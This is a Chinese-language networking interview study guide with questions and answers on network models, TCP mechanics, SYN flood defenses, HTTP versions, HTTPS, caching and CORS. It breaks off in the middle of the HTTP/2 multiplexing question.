计算机网络面试题¶
40 道网络面试高频题 + 详细解答,覆盖网络模型、 TCP/UDP 、 HTTP/HTTPS 、综合应用等核心知识点。
一、网络模型( 5 题)¶
1. OSI 七层模型和 TCP/IP 四层模型分别是什么?它们之间有什么对应关系¶
OSI 七层模型(自下而上):
| 层次 | 名称 | 功能 | 协议/设备示例 |
|---|---|---|---|
| 第 7 层 | 应用层 | 为用户应用提供网络服务接口 | HTTP 、 FTP 、 SMTP 、 DNS |
| 第 6 层 | 表示层 | 数据格式转换、加密解密、压缩 | SSL/TLS 、 JPEG 、 ASCII |
| 第 5 层 | 会话层 | 建立、管理和终止会话 | RPC 、 SQL 、 NFS |
| 第 4 层 | 传输层 | 端到端的可靠数据传输 | TCP 、 UDP |
| 第 3 层 | 网络层 | 路由选择和逻辑寻址 | IP 、 ICMP 、路由器 |
| 第 2 层 | 数据链路层 | 帧传输、差错检测 | Ethernet 、交换机、网桥 |
| 第 1 层 | 物理层 | 比特流的物理传输 | 网线、光纤、集线器 |
TCP/IP 四层模型:
| 层次 | 名称 | 对应 OSI 层 | 协议示例 |
|---|---|---|---|
| 第 4 层 | 应用层 | 应用层+表示层+会话层 | HTTP 、 DNS 、 FTP |
| 第 3 层 | 传输层 | 传输层 | TCP 、 UDP |
| 第 2 层 | 网际层 | 网络层 | IP 、 ICMP 、 ARP |
| 第 1 层 | 网络接口层 | 数据链路层+物理层 | Ethernet 、 PPP |
核心区别: - OSI 是理论参考模型,先有模型后有协议,分层更细致但实际中未完全实现 - TCP/IP 是实际使用的协议族,先有协议后有模型,更加实用 - TCP/IP 将 OSI 的上三层合并为应用层,下两层合并为网络接口层
2. 各层常见的协议和设备有哪些¶
应用层协议: - HTTP/HTTPS:超文本传输协议, Web 通信的基础 - FTP:文件传输协议,用于文件上传下载 - SMTP/POP3/IMAP:邮件发送和接收协议 - DNS:域名解析协议,将域名转换为 IP 地址 - SSH:安全远程登录协议 - Telnet:远程终端协议(明文,不安全) - SNMP:简单网络管理协议
传输层协议: - TCP:面向连接的可靠传输协议 - UDP:无连接的不可靠传输协议
网络层协议与设备: - 协议: IP 、 ICMP ( ping )、 IGMP (组播)、 OSPF 、 BGP - 设备:路由器(根据 IP 地址进行路由转发)
数据链路层协议与设备: - 协议: Ethernet 、 PPP 、 VLAN 、 STP - 设备:交换机(根据 MAC 地址进行帧转发)、网桥
物理层设备: - 集线器( Hub ):广播方式转发信号 - 中继器、调制解调器 - 传输介质:双绞线、光纤、同轴电缆
3. 数据在网络中的封装和解封装过程是怎样的¶
数据从发送端到接收端,经历封装(发送端)和解封装(接收端)两个过程:
发送端封装过程(自上而下):
应用层: [ 数据(Data) ]
↓ 加上TCP/UDP头
传输层: [TCP头][ 数据 ] → 段(Segment)
↓ 加上IP头
网络层: [IP头][TCP头][ 数据 ] → 包(Packet)
↓ 加上帧头和帧尾
数据链路层:[帧头][IP头][TCP头][数据][FCS] → 帧(Frame)
↓ 转换为比特流
物理层: 01101001101010110... → 比特(Bit)
各层添加的头部信息: - TCP 头部:源端口、目的端口、序列号、确认号、标志位 - IP 头部:源 IP 、目的 IP 、 TTL 、协议类型 - 帧头部:源 MAC 、目的 MAC 、类型 - 帧尾( FCS ):帧校验序列,用于差错检测
接收端解封装过程(自下而上): 按照物理层→数据链路层→网络层→传输层→应用层的顺序,逐层去掉对应的头部,最终还原出原始数据。
4. 为什么网络要分层?分层有什么好处¶
分层的原因和好处:
- 降低复杂度:将复杂的网络通信分解为若干个相对独立的层次,每层只关注特定的功能
- 模块化设计:各层之间相互独立,修改某一层的实现不影响其他层
- 促进标准化:每层的功能和接口有明确定义,便于不同厂商实现互操作
- 易于维护和升级:可以单独升级某一层的技术而不影响整体架构
- 便于学习和理解:系统化的知识体系便于学习
- 促进竞争:各层可以由不同厂商独立开发
分层的缺点: - 某些功能在多层中重复出现(如差错控制) - 过于理想化的分层可能降低效率(如 OSI 模型) - 层间数据传递需要额外的开销(头部封装)
5. 交换机和路由器的区别是什么¶
| 对比维度 | 交换机(Switch) | 路由器(Router) |
|---|---|---|
| 工作层次 | 数据链路层(二层交换机) | 网络层 |
| 寻址方式 | 基于 MAC 地址 | 基于 IP 地址 |
| 转发依据 | MAC 地址表 | 路由表 |
| 广播域 | 不隔离广播域 | 隔离广播域 |
| 冲突域 | 每个端口是独立冲突域 | 每个端口是独立冲突域 |
| 主要功能 | 局域网内帧转发 | 不同网络间的路由选择 |
| 速度 | 硬件转发,速度快 | 软件路由(也有硬件),相对较慢 |
| 使用场景 | 连接同一网络内的设备 | 连接不同网络 |
补充说明: - 三层交换机结合了交换和路由功能,可以处理 IP 路由 - 路由器通常还提供 NAT 、防火墙、 VPN 等功能 - 集线器(Hub)工作在物理层,所有端口共享带宽,现在已基本被交换机取代
二、 TCP 相关( 10 题)¶
6. 请详细描述 TCP 三次握手的过程¶
三次握手过程:
客户端(Client) 服务器(Server)
CLOSED LISTEN
| |
|-------- SYN=1, seq=x ------------------> |
| (第一次握手) |
SYN_SENT SYN_RCVD
| |
|<------- SYN=1,ACK=1, seq=y,ack=x+1 ----- |
| (第二次握手) |
ESTABLISHED |
| |
|-------- ACK=1, seq=x+1, ack=y+1 -------> |
| (第三次握手) |
ESTABLISHED ESTABLISHED
详细分析每一步:
第一次握手: - 客户端发送 SYN 报文: SYN 标志位=1 ,初始序列号 seq=x (随机生成的 ISN ) - 客户端状态从 CLOSED 变为 SYN_SENT - 此时客户端表明:"我要和你建立连接,我的初始序列号是 x"
第二次握手: - 服务器收到 SYN 后,回复 SYN+ACK 报文: SYN=1,ACK=1,序列号 seq=y (服务器的 ISN ),确认号 ack=x+1 - 服务器状态从 LISTEN 变为 SYN_RCVD - ack=x+1 表示:确认收到了客户端序号为 x 的数据,期望下一个收到序号为 x+1 - 此时服务器表明:"收到你的请求了,我也要建立连接,我的初始序列号是 y"
第三次握手: - 客户端收到 SYN+ACK 后,发送 ACK 报文: ACK=1,seq=x+1,ack=y+1 - 客户端状态变为 ESTABLISHED ,服务器收到后也变为 ESTABLISHED - 第三次握手可以携带数据
为什么是三次而不是两次? - 防止已失效的连接请求到达服务器。如果只有两次,客户端发送的 SYN 因网络延迟很久才到达服务器,服务器会建立连接并分配资源,但客户端已经不打算连接了,造成资源浪费 - 三次握手的本质目的:确认双方的发送能力和接收能力都正常,同步双方的初始序列号
7. 请详细描述 TCP 四次挥手的过程? TIME_WAIT 状态存在的原因¶
四次挥手过程:
客户端(Client) 服务器(Server)
ESTABLISHED ESTABLISHED
| |
|-------- FIN=1, seq=u ------------------> |
| (第一次挥手) |
FIN_WAIT_1 CLOSE_WAIT
| |
|<------- ACK=1, seq=v, ack=u+1 ---------- |
| (第二次挥手) |
FIN_WAIT_2 |
| (服务器继续发送剩余数据...) |
| |
|<------- FIN=1,ACK=1, seq=w, ack=u+1 ---- |
| (第三次挥手) |
TIME_WAIT LAST_ACK
| |
|-------- ACK=1, seq=u+1, ack=w+1 -------> |
| (第四次挥手) |
TIME_WAIT(等待2MSL) CLOSED
| |
CLOSED
为什么是四次而不是三次? - TCP 是全双工通信,每个方向需要单独关闭 - 当客户端发送 FIN 时,仅表示客户端不再发送数据,但还可以接收数据 - 服务器收到 FIN 后先回 ACK 确认,此时可能还有数据需要发送给客户端 - 待服务器数据发送完毕后,再发送 FIN 表示也不再发送数据 - 因此需要四次而非三次( ACK 和 FIN 不能合并,因为中间可能还有数据要发)
TIME_WAIT 状态存在的原因(等待 2MSL ):
MSL ( Maximum Segment Lifetime )是报文最大生存时间,通常为 30 秒到 2 分钟。
- 确保最后的 ACK 能到达服务器:如果最后的 ACK 丢失,服务器会重发 FIN ,客户端需要在 TIME_WAIT 期间能重新发送 ACK
- 确保旧连接的重复报文在网络中消失:等待 2MSL 后,本连接的所有报文都会从网络中消失,防止新连接收到旧连接的报文
TIME_WAIT 过多的问题和解决: - 每个 TIME_WAIT 占用一个端口和内存,大量 TIME_WAIT 会影响新连接建立 - 解决方案: - 设置SO_REUSEADDR允许端口复用 - 调整内核参数tcp_tw_reuse和tcp_tw_recycle(注意:tcp_tw_recycle在 NAT 环境下有问题) - 减小tcp_fin_timeout的值
8. TCP 和 UDP 有什么区别?各自的应用场景是什么¶
| 对比维度 | TCP | UDP |
|---|---|---|
| 连接方式 | 面向连接(三次握手) | 无连接 |
| 可靠性 | 可靠传输(确认、重传、排序) | 不可靠传输 |
| 有序性 | 保证数据有序到达 | 不保证有序 |
| 速度 | 相对较慢(有控制开销) | 速度快(开销小) |
| 传输方式 | 面向字节流 | 面向数据报 |
| 拥塞控制 | 有(慢启动、拥塞避免等) | 无 |
| 流量控制 | 有(滑动窗口) | 无 |
| 头部大小 | 20-60 字节 | 8 字节 |
| 广播/组播 | 不支持 | 支持 |
| 传输模式 | 一对一 | 一对一、一对多、多对多 |
| 适用场景 | 要求可靠传输 | 实时性要求高、允许丢包 |
TCP 应用场景: - HTTP/HTTPS ( Web 浏览) - FTP (文件传输) - SMTP/POP3 (邮件) - SSH (远程登录) - 数据库连接
UDP 应用场景: - DNS 查询(短报文,快速响应) - 视频/音频流媒体 - 在线游戏 - DHCP (动态 IP 分配) - SNMP (网络管理) - VoIP (网络电话)
9. TCP 如何保证可靠传输¶
TCP 通过以下机制保证可靠传输:
1. 校验和( Checksum ) - TCP 头部包含校验和字段,覆盖 TCP 头部和数据 - 发送方计算校验和,接收方验证,不一致则丢弃报文
2. 序列号( Sequence Number ) - 每个字节都有唯一的序列号 - 接收方可以根据序列号对失序的报文进行排序 - 也可以检测到重复的报文并丢弃
3. 确认应答( ACK ) - 接收方收到数据后发送 ACK ,确认号表示期望收到的下一个字节的序列号 - 发送方通过 ACK 知道数据已成功到达
4. 超时重传( Timeout Retransmission ) - 发送方发送数据后启动计时器 - 如果超时未收到 ACK ,则重传数据 - 超时时间( RTO )根据 RTT 动态计算
5. 流量控制( Flow Control ) - 使用滑动窗口机制 - 接收方在 ACK 中通告自己的接收窗口大小( rwnd ) - 发送方发送量不超过接收方窗口大小 - 防止发送方发送过快导致接收方缓冲区溢出
6. 拥塞控制( Congestion Control ) - 防止过多数据注入网络导致网络拥塞 - 包括慢启动、拥塞避免、快重传、快恢复四种算法 - 使用拥塞窗口( cwnd )控制发送速率
7. 连接管理 - 三次握手建立可靠连接 - 四次挥手安全释放连接
10. TCP 拥塞控制的四种算法是什么?请详细说明¶
核心概念: - 拥塞窗口( cwnd ):发送方维护的窗口,控制发送速率 - 慢启动门限( ssthresh ):慢启动阈值,初始值通常较大 - 实际发送窗口 = min(cwnd, rwnd)
1. 慢启动( Slow Start )
cwnd初始值 = 1 MSS
每收到一个ACK: cwnd = cwnd + 1 MSS
效果: 每经过一个RTT, cwnd翻倍 (指数增长)
cwnd变化: 1 → 2 → 4 → 8 → 16 → ... → ssthresh
当cwnd >= ssthresh时,切换到拥塞避免
2. 拥塞避免( Congestion Avoidance )
当cwnd >= ssthresh后启动
每经过一个RTT: cwnd = cwnd + 1 MSS (线性增长)
cwnd变化: ssthresh → ssthresh+1 → ssthresh+2 → ...
直到检测到拥塞(丢包)
3. 快重传( Fast Retransmit )
当发送方连续收到3个重复ACK时:
- 立即重传丢失的报文,无需等待超时
- 这样减少了等待超时重传的时间
示例:
发送 1,2,3,4,5 其中3丢失
收到 ACK2, ACK2, ACK2 (3个重复ACK)
立即重传报文3
4. 快恢复( Fast Recovery )
收到3个重复ACK后:
1. ssthresh = cwnd / 2
2. cwnd = ssthresh + 3 (加3是因为收到了3个重复ACK)
3. 进入拥塞避免阶段(线性增长)
如果是超时事件:
1. ssthresh = cwnd / 2
2. cwnd = 1 MSS
3. 重新进入慢启动阶段
完整过程示意图:
cwnd
| 超时
| /丢包 3个重复ACK
| / | |
| / | 快恢复 |
| / 拥塞 | / |
| / 避免 |/ 拥塞 |
| / (线性) | 避免 |
| / | (线性) |
| / 慢启动 | |
| / (指数) | |
|/____________|_____________|____> 时间
ssthresh 新ssthresh
11. 什么是 TCP 粘包和拆包?如何解决¶
粘包和拆包的概念:
TCP 是面向字节流的协议,没有消息边界的概念。发送方发送的多个数据包可能被 TCP 合并成一个大包发送(粘包),或者一个大包被拆分成多个小包发送(拆包)。
粘包/拆包场景:
发送方发送了两个数据包 D1 和 D2
正常情况: |--D1--| |--D2--| (两次接收)
粘包: |--D1--D2--| (一次接收到D1+D2)
拆包: |--D1的前半--| |--D1的后半--D2--| (D1被拆开)
粘包+拆包: |--D1--D2的前半--| |--D2的后半--|
产生原因:
粘包原因: 1. 发送方: Nagle 算法将小包合并发送 2. 接收方:应用层读取缓冲区数据不及时,多个包堆积在缓冲区
拆包原因: 1. 发送的数据大于 TCP 发送缓冲区剩余空间 2. 发送的数据大于 MSS (最大报文段长度)
解决方案:
方案 1 :固定长度
方案 2 :分隔符
方案 3 :长度前缀(推荐)
import struct
# 发送时:先发4字节长度头,再发数据
length = len(data)
header = struct.pack('!I', length) # 4字节大端序
send(header + data)
# 接收时:先读4字节获取长度,再读取对应长度数据
header = recv(4)
length = struct.unpack('!I', header)[0]
data = recv(length)
方案 4 :使用更高层协议 - HTTP 协议中的 Content-Length 头部 - Protobuf 等序列化框架 - WebSocket 的帧定义
12. Nagle 算法是什么?为什么有时需要关闭它¶
Nagle 算法原理:
Nagle 算法用于减少网络中小包( tinygram )的数量,提高网络利用率。
算法规则: - 如果有已发送但未确认的数据,那么小数据包(小于 MSS )会被缓存起来 - 等到收到前一个数据的 ACK ,或者缓存的数据达到 MSS 大小,才会发送 - 第一个小包可以立即发送
优点: 减少小包数量,提高带宽利用率
需要关闭 Nagle 算法的场景: 1. 实时性要求高的场景:在线游戏、 SSH 交互、远程桌面 2. 与延迟 ACK ( Delayed ACK )冲突: TCP 默认会延迟发送 ACK (等 40-200ms 或等到有数据一起发),和 Nagle 算法结合会导致额外延迟 3. HTTP 请求:先发 header 再发 body , Nagle 会等 header 的 ACK
关闭方法:
13. TCP Keep-Alive 机制是什么¶
TCP Keep-Alive (保活机制):
用于检测长时间空闲的 TCP 连接是否仍然有效。
工作原理: 1. 当 TCP 连接在一段时间内没有数据传输时,启用 Keep-Alive 的一方会发送探测报文 2. 如果对方正常响应 ACK ,说明连接有效,重置计时器 3. 如果多次探测无响应,则认为连接已断开,关闭连接
Linux 系统下的三个参数:
# 空闲多久后开始发送探测包(默认7200秒=2小时)
net.ipv4.tcp_keepalive_time = 7200
# 探测包的发送间隔(默认75秒)
net.ipv4.tcp_keepalive_intvl = 75
# 最多发送几次探测包(默认9次)
net.ipv4.tcp_keepalive_probes = 9
应用层 Keep-Alive vs TCP Keep-Alive :
| 维度 | TCP Keep-Alive | 应用层心跳 |
|---|---|---|
| 层次 | 传输层 | 应用层 |
| 灵活性 | 参数固定(系统级) | 可自定义频率和内容 |
| 功能 | 仅检测连接是否存活 | 可以携带业务数据 |
| 默认 | 通常关闭 | 需要自行实现 |
| 示例 | TCP 保活探测 | WebSocket ping/pong |
为什么要使用 Keep-Alive ? - 检测死连接(对端崩溃、网络中断) - 防止 NAT/防火墙超时关闭空闲连接 - 及时释放已失效连接的资源
14. TCP 的滑动窗口机制是如何工作的¶
滑动窗口的作用: - 实现流量控制,防止发送方发送过快 - 提高传输效率,允许一次发送多个报文段而不必逐一等待确认
发送方滑动窗口:
已确认 已发送未确认 可发送 不可发送
|---------|-------------|---------|----------->
^ ^ ^ ^
| SND.UNA SND.NXT SND.UNA+SND.WND
SND.UNA: Send Unacknowledged, 最早未确认的序号
SND.NXT: Send Next, 下一个要发送的序号
SND.WND: Send Window, 发送窗口大小
接收方滑动窗口:
已确认交付 接收窗口内 不可接收
|-------------|-------------|----------->
^ ^ ^
RCV.NXT RCV.NXT+RCV.WND
RCV.NXT: 期望收到的下一个序号
RCV.WND: 接收窗口大小
窗口滑动过程: 1. 发送方在窗口范围内连续发送多个报文 2. 收到 ACK 后,窗口左边界右移,滑动窗口向前 3. 接收方通过 ACK 携带的窗口大小( rwnd )通告发送方可发送的数据量 4. 发送方实际窗口 = min(cwnd, rwnd)
零窗口问题: - 接收方缓冲区满时,通告 rwnd=0 ,发送方停止发送 - 发送方启动持续计时器,定期发送窗口探测报文 - 接收方处理部分数据后,通告新的 rwnd 值
15. SYN Flood 攻击是什么?如何防御¶
SYN Flood 攻击原理:
攻击者伪造大量不存在的源 IP 地址,不断向服务器发送 SYN 报文。服务器为每个 SYN 分配资源并回复 SYN+ACK ,但由于源 IP 是伪造的,永远收不到第三次握手的 ACK ,导致大量半连接占用服务器资源(半连接队列溢出),正常用户无法建立连接。
攻击者(伪造IP) → SYN → 服务器
← SYN+ACK → (发到伪造IP,无响应)
等待ACK... (超时重试,占用资源)
攻击者(伪造IP) → SYN → 服务器
← SYN+ACK → (发到伪造IP,无响应)
等待ACK... (半连接队列逐渐满)
防御方法:
1. SYN Cookie - 服务器收到 SYN 时不分配资源,不加入半连接队列 - 根据源 IP 、端口、时间戳等信息计算一个 Cookie 作为 ISN 放入 SYN+ACK - 收到第三次 ACK 时验证 Cookie 有效性,有效才分配资源 - Linux: net.ipv4.tcp_syncookies = 1
2. 增大半连接队列
3. 减少 SYN+ACK 重试次数
4. 防火墙/IDS 限流 - 限制同一 IP 的 SYN 速率 - 检测异常 SYN 流量并过滤
5. 使用 CDN/负载均衡 - 将流量分散到多台服务器
三、 HTTP 相关( 12 题)¶
16. HTTP/1.0 、 HTTP/1.1 、 HTTP/2.0 、 HTTP/3.0 有什么区别¶
| 特性 | HTTP/1.0 | HTTP/1.1 | HTTP/2.0 | HTTP/3.0 |
|---|---|---|---|---|
| 年份 | 1996 | 1997 | 2015 | 2022 |
| 连接方式 | 短连接 | 持久连接(默认) | 多路复用 | 基于 QUIC |
| 传输协议 | TCP | TCP | TCP | UDP(QUIC) |
| 管线化 | 不支持 | 支持(但有队头阻塞) | 多路复用解决 | 无队头阻塞 |
| 头部压缩 | 无 | 无 | HPACK 压缩 | QPACK 压缩 |
| 服务器推送 | 不支持 | 不支持 | 支持 | 支持 |
| 传输格式 | 文本 | 文本 | 二进制帧 | 二进制帧 |
HTTP/1.1 改进: - 默认持久连接( Connection: keep-alive ) - 管线化:可以连续发送多个请求不必等待响应(但响应必须按序返回,有队头阻塞) - 新增缓存控制( Cache-Control 、 ETag ) - 支持断点续传( Range 请求头) - 新增 Host 头部支持虚拟主机
HTTP/2.0 改进: - 多路复用:一个 TCP 连接上可以并行发送多个请求和响应,彻底解决 HTTP 层队头阻塞 - 二进制分帧:将 HTTP 消息分解为帧( HEADERS 帧和 DATA 帧),二进制编码更高效 - 头部压缩: HPACK 算法,维护静态表和动态表,压缩头部 - 服务器推送:服务器可以主动推送资源给客户端 - 流优先级:可以设置请求的优先级
HTTP/3.0 改进: - 基于 QUIC 协议:使用 UDP 替代 TCP , QUIC 在 UDP 上实现可靠传输 - 解决 TCP 队头阻塞: TCP 层面丢包会阻塞所有流, QUIC 独立处理每个流 - 0-RTT/1-RTT 建连: QUIC 握手更快,首次 1-RTT ,后续 0-RTT - 连接迁移:使用连接 ID 标识连接,网络切换(如 WiFi→4G )时连接不中断
17. HTTPS 的原理是什么? SSL/TLS 握手过程是怎样的¶
HTTPS = HTTP + SSL/TLS
为什么需要 HTTPS ? HTTP 的三个安全问题: 1. 窃听风险:明文传输,数据可被监听 2. 篡改风险:数据可被中间人修改 3. 冒充风险:无法验证通信方身份
HTTPS 如何解决这三个问题: 1. 加密:混合加密(非对称加密交换密钥 + 对称加密传输数据) 2. 完整性:消息认证码( MAC )/数字签名 3. 认证:数字证书( CA 机构签发)
SSL/TLS 握手完整过程(以 TLS 1.2 为例):
客户端 服务器
| |
|--- 1. ClientHello --------------------------> |
| (TLS版本, 支持的加密套件列表, |
| 客户端随机数Client Random) |
| |
|<-- 2. ServerHello --------------------------- |
| (选定的TLS版本, 加密套件, |
| 服务器随机数Server Random) |
| |
|<-- 3. Certificate --------------------------- |
| (服务器的数字证书,含公钥) |
| |
|<-- 4. ServerHelloDone ----------------------- |
| |
| 5. 客户端验证证书(证书链→CA根证书) |
| |
|--- 6. ClientKeyExchange --------------------> |
| (用服务器公钥加密的Pre-Master Secret) |
| |
| 7. 双方根据三个随机数生成会话密钥: |
| Master Secret = PRF(Pre-Master Secret, |
| Client Random, |
| Server Random) |
| |
|--- 8. ChangeCipherSpec ---------------------> |
| (通知切换到加密通信) |
| |
|--- 9. Finished (加密的验证数据) -------------> |
| |
|<-- 10. ChangeCipherSpec ---------------------- |
|<-- 11. Finished (加密的验证数据) ------------- |
| |
|===== 使用会话密钥进行对称加密通信 ============= |
为什么用混合加密? - 非对称加密(如 RSA )安全但很慢 - 对称加密(如 AES )快但密钥分发困难 - 混合方案:用非对称加密安全地交换对称密钥,然后用对称加密传输数据
18. HTTP 状态码有哪些?分别代表什么含义¶
状态码分类:
| 类别 | 范围 | 含义 |
|---|---|---|
| 1xx | 100-199 | 信息性(请求已接收,继续处理) |
| 2xx | 200-299 | 成功 |
| 3xx | 300-399 | 重定向 |
| 4xx | 400-499 | 客户端错误 |
| 5xx | 500-599 | 服务器错误 |
常用状态码详解:
2xx 成功: - 200 OK:请求成功 - 201 Created:资源创建成功(通常用于 POST/PUT ) - 204 No Content:请求成功但无响应体(通常用于 DELETE ) - 206 Partial Content:部分内容(断点续传, Range 请求)
3xx 重定向: - 301 Moved Permanently:永久重定向(搜索引擎更新 URL ,浏览器缓存) - 302 Found:临时重定向(搜索引擎不更新 URL ) - 304 Not Modified:资源未修改(协商缓存命中,使用本地缓存) - 307 Temporary Redirect:临时重定向(不改变请求方法) - 308 Permanent Redirect:永久重定向(不改变请求方法)
4xx 客户端错误: - 400 Bad Request:请求语法错误 - 401 Unauthorized:需要认证(未登录) - 403 Forbidden:拒绝访问(已认证但无权限) - 404 Not Found:资源不存在 - 405 Method Not Allowed:方法不被允许 - 408 Request Timeout:请求超时 - 413 Payload Too Large:请求体过大 - 429 Too Many Requests:请求频率过高(限流)
5xx 服务器错误: - 500 Internal Server Error:服务器内部错误 - 502 Bad Gateway:网关/代理收到无效响应 - 503 Service Unavailable:服务暂不可用(过载或维护) - 504 Gateway Timeout:网关/代理超时
19. GET 和 POST 有什么区别¶
| 对比维度 | GET | POST |
|---|---|---|
| 语义 | 获取资源 | 提交数据/创建资源 |
| 参数位置 | URL 查询字符串 | 请求体(Body) |
| 参数长度 | 受 URL 长度限制(通常 2KB-8KB) | 理论上无限制 |
| 安全性 | 参数暴露在 URL 中, 不安全 | 相对安全(但明文传输仍不安全) |
| 幂等性 | 幂等(多次请求结果相同) | 非幂等(多次提交可能产生不同结果) |
| 缓存 | 可被缓存 | 一般不缓存 |
| 书签 | 可以保存为书签 | 不可以 |
| 浏览器历史 | 参数保留在历史记录 | 参数不保留 |
| 编码类型 | application/x-www-form-urlencoded | 支持多种编码(form-data, JSON 等) |
| TCP 包 | 取决于 TCP 实现和数据大小,与 HTTP 方法无关 | 取决于 TCP 实现和数据大小,与 HTTP 方法无关 |
| 后退/刷新 | 无害 | 数据会重新提交(浏览器提示) |
重要澄清: - GET 和 POST 的区别主要是语义和约定上的,从技术实现角度, GET 也可以有 Body , POST 也可以用 URL 参数 - 所谓 GET 比 POST 不安全,仅指参数在 URL 中可见,但如果不用 HTTPS ,两者都不安全 - RFC 规范中 GET 是安全且幂等的, POST 不是
20. Cookie 、 Session 、 Token 和 JWT 有什么区别¶
Cookie : - 存储在客户端(浏览器)的小型文本数据 - 由服务器通过Set-Cookie响应头设置 - 浏览器后续请求会自动携带 Cookie - 受同源策略限制 - 存储大小限制约 4KB - 有安全隐患( CSRF 攻击)
Session : - 存储在服务器端的会话数据 - 通过 Session ID 标识用户( Session ID 通常存在 Cookie 中) - 服务器需要维护 Session 存储(内存/Redis/数据库) - 安全性优于 Cookie (敏感数据在服务端) - 缺点:分布式环境下需要 Session 共享( Session Sticky/Redis 集中存储)
Token : - 无状态的认证凭证 - 服务器生成 Token 返回给客户端,客户端自行存储 - 请求时通过Authorization头携带 Token - 服务器验证 Token 有效性,无需存储会话状态 - 适合分布式系统、移动端、 API 认证
JWT ( JSON Web Token ): - Token 的一种标准实现 - 由三部分组成: Header.Payload.Signature
// Header
{
"alg": "HS256", // 签名算法
"typ": "JWT"
}
// Payload(声明)
{
"sub": "user123", // 用户ID
"name": "张三", // 用户名
"iat": 1516239022, // 签发时间
"exp": 1516325422 // 过期时间
}
// Signature
HMACSHA256(
base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
secret
)
最终JWT: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.abc123signature
对比总结:
| 维度 | Cookie | Session | Token/JWT |
|---|---|---|---|
| 存储位置 | 客户端 | 服务端 | 客户端 |
| 有状态/无状态 | — | 有状态 | 无状态 |
| 跨域 | 不支持 | 不支持 | 支持 |
| 分布式支持 | — | 需额外处理 | 天然支持 |
| 安全性 | 较低 | 较高 | 较高 |
| 移动端支持 | 差 | 一般 | 好 |
21. HTTP 缓存机制是怎样的?强缓存和协商缓存如何工作¶
HTTP 缓存分为两类:强缓存和协商缓存
强缓存(不与服务器通信,直接使用本地缓存):
| 头部 | 说明 | 优先级 |
|---|---|---|
| Expires | 绝对过期时间( HTTP/1.0 ),受客户端时钟影响 | 低 |
| Cache-Control | 相对过期时间( HTTP/1.1 ),更可靠 | 高 |
Cache-Control 常用指令: - max-age=3600:缓存有效期 3600 秒 - no-cache:不使用强缓存,每次都要协商 - no-store:完全不缓存 - public:可被代理/CDN 缓存 - private:仅浏览器可缓存 - s-maxage:代理服务器缓存时间
协商缓存(与服务器通信确认缓存是否有效):
方式 1 : Last-Modified / If-Modified-Since
首次请求:
Response: Last-Modified: Thu, 01 Jan 2024 00:00:00 GMT
再次请求:
Request: If-Modified-Since: Thu, 01 Jan 2024 00:00:00 GMT
Response: 304 Not Modified (未修改) 或 200 OK + 新内容
方式 2 : ETag / If-None-Match (优先级更高)
首次请求:
Response: ETag: "abc123"
再次请求:
Request: If-None-Match: "abc123"
Response: 304 Not Modified (ETag一致) 或 200 OK + 新内容
ETag vs Last-Modified : - Last-Modified 精度为秒, 1 秒内多次修改无法感知 - 文件只是打开但没修改, Last-Modified 也会变化 - ETag 基于内容生成哈希,更精确 - ETag 优先级高于 Last-Modified
完整缓存判断流程:
浏览器请求资源
├── 有缓存?
│ ├── 否 → 向服务器请求
│ └── 是 → 强缓存是否过期?
│ ├── 否(Cache-Control未过期) → 使用缓存 (200 from cache)
│ └── 是 → 协商缓存
│ ├── 带上ETag/Last-Modified请求服务器
│ ├── 资源未修改 → 304 Not Modified, 使用本地缓存
│ └── 资源已修改 → 200 OK, 返回新资源
22. CORS 跨域的原理是什么?如何解决跨域问题¶
同源策略: 浏览器的安全策略,限制不同源(协议、域名、端口任一不同)的页面之间互相访问资源。
CORS ( Cross-Origin Resource Sharing ): 服务器通过设置 HTTP 响应头,允许指定的跨域请求。
简单请求 vs 预检请求:
简单请求(满足以下全部条件): - 方法: GET / HEAD / POST - Content-Type : text/plain 、 multipart/form-data 、 application/x-www-form-urlencoded - 没有自定义头部
预检请求(不满足简单请求条件): - 浏览器先发送 OPTIONS 预检请求 - 服务器返回允许的方法、头部等信息 - 浏览器检查通过后再发送实际请求
# 预检请求
OPTIONS /api/data
Origin: https://example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
# 预检响应
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400 # 预检结果缓存时间
解决跨域的方案:
1. CORS (推荐)
# 服务器端设置响应头
Access-Control-Allow-Origin: https://example.com # 或 * 允许所有
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true # 允许携带Cookie
2. 反向代理( Nginx )
3. JSONP (仅支持 GET ,已过时)
4. WebSocket (不受同源策略限制)
23. RESTful API 设计的核心原则是什么¶
REST ( Representational State Transfer )核心原则:
1. 资源标识( URI 设计)
# 好的设计
GET /api/users # 获取用户列表
GET /api/users/123 # 获取特定用户
POST /api/users # 创建用户
PUT /api/users/123 # 更新用户(全量)
PATCH /api/users/123 # 更新用户(部分)
DELETE /api/users/123 # 删除用户
# 嵌套资源
GET /api/users/123/orders # 获取用户的订单
GET /api/users/123/orders/456 # 获取特定订单
# 不好的设计
GET /api/getUser?id=123
POST /api/deleteUser
GET /api/getUserOrderList
2. HTTP 方法语义
| 方法 | 语义 | 幂等 | 安全 |
|---|---|---|---|
| GET | 获取资源 | 是 | 是 |
| POST | 创建资源 | 否 | 否 |
| PUT | 全量更新 | 是 | 否 |
| PATCH | 部分更新 | 否 | 否 |
| DELETE | 删除资源 | 是 | 否 |
3. 状态码使用 - 200 :成功 - 201 :创建成功 - 204 :删除成功 - 400 :参数错误 - 401 :未认证 - 403 :无权限 - 404 :资源不存在 - 500 :服务器错误
4. 统一响应格式
5. 版本控制
6. 分页、过滤、排序
24. HTTP/2 的多路复用是如何解决 HTTP/1.1 队头阻塞问题的¶
HTTP/1.1 的队头阻塞问题:
HTTP/1.1 的管线化允许在一个 TCP 连接上发送多个请求,但响应必须按照请求的顺序返回。如果第一个请求的响应很慢,后面的响应都会被阻塞。
HTTP/1.1管线化:
请求: Req1 → Req2 → Req3
响应: Res1(慢) ← (Res2和Res3被阻塞)
实际上浏览器通常不启用管线化,而是开6-8个TCP连接并行
HTTP/2 多路复用解决方案:
HTTP/2 引入了帧( Frame )和流( Stream )的概念:
- 帧:最小传输单位,包含帧头(标识属于哪个流)和帧数据
- 流:一个完整的请求-响应对应一个流,每个流有唯一 ID
- 多个流可以在同一个 TCP 连接上交叉传输
HTTP/2 多路复用:
一个TCP连接:
